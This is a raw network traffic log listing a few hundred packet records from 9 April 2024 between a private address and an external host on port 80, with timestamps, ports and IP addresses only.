Apr 9, 2024 14:54:07.180349112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180489063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180531025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180552006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180610895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180634975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180656910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180685997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180704117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180723906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180746078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180761099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180784941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180834055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180834055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180896044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180953026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.180953026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181000948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181000948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181018114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181018114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181018114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181169033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181169033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181185961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181227922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181272030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181299925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181330919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181369066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181387901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181541920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181541920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181541920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181567907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181592941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181621075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181632042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181664944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181679964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181709051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181727886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181756973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181785107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181827068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181869030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181894064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181916952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181936979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181965113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.181986094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182017088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182043076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182065010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182257891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182281017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182305098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182321072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182343960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182364941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182387114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182410955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182430983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182451963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182473898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182496071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182519913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182533979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182573080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182573080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182590961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182634115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182634115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182653904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182676077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182696104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182713985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182760000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182760000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182782888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182809114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182827950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182848930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182863951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182887077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182907104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182931900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182949066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182974100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.182993889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183016062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183038950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183058023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183073997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183099031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183118105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183140993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183156013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183177948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183196068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183217049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183235884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183263063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183281898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183304071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183327913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183341026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183363914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183381081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183403015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183422089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183445930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183466911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183485985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183504105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183523893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183549881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183571100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183597088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183615923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183636904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183655977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183676958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183696985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183715105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183736086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183754921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183775902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183799028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183815002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183839083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183859110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183878899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183901072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183926105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183943987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183964968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.183983088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184004068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184026003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184043884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184065104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184086084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184104919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184128046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184148073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184169054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184185028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184207916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184231997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184262991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184281111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184334040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184351921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184375048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184397936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184422970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184432983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184459925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184478998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184499979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184526920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184549093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184566021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184587955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184603930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184652090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184652090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184685946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184708118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184731007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184745073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184771061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184792995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184813976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184864998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184864998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184892893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184932947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.184990883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185010910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185079098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185106039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185149908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185182095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185313940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185329914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185348988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185376883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185497999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185524940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185540915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185560942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185579062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.185602903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186189890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186216116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186249018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186275959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186302900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186321974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186358929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186374903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186444998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186467886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186495066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186512947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186541080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186549902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186573029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186592102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186613083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186638117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186655045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186685085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186707973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186731100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186748981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186772108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186791897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186810017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186830997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186851978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186867952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186891079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186909914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186924934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186953068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186970949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.186995983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187024117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187038898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187064886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187083006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187099934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187124014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187153101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187170982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187196016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187210083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187238932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187272072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187302113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187302113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187319994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187335968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187361002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187381029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187422991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187441111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187469959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187488079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187510967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187531948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187553883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187572956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187592030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187616110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187628031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187652111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187675953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187704086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187761068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187761068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187778950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187807083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187927961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187953949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187973976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.187992096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188016891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188036919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188055038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188107014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188230038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188303947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188384056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188514948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188545942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188568115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188586950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188607931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188632011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188648939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188779116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188806057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188838005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188898087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.188986063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189014912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189039946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189059019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189090014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189111948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189146996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189194918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189210892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189243078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189408064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189434052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189454079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189472914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189493895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189558029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189577103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189599037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189615965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189660072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189698935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189745903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189760923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.189831972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190490007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190512896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190543890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190558910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190589905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190612078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190639019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190654993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190685034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190778971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190804958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190824032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190846920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190864086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190891027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190907001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190931082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190949917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190969944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.190988064 CEST	49744	80	192.168.2.4	185.196.8.137
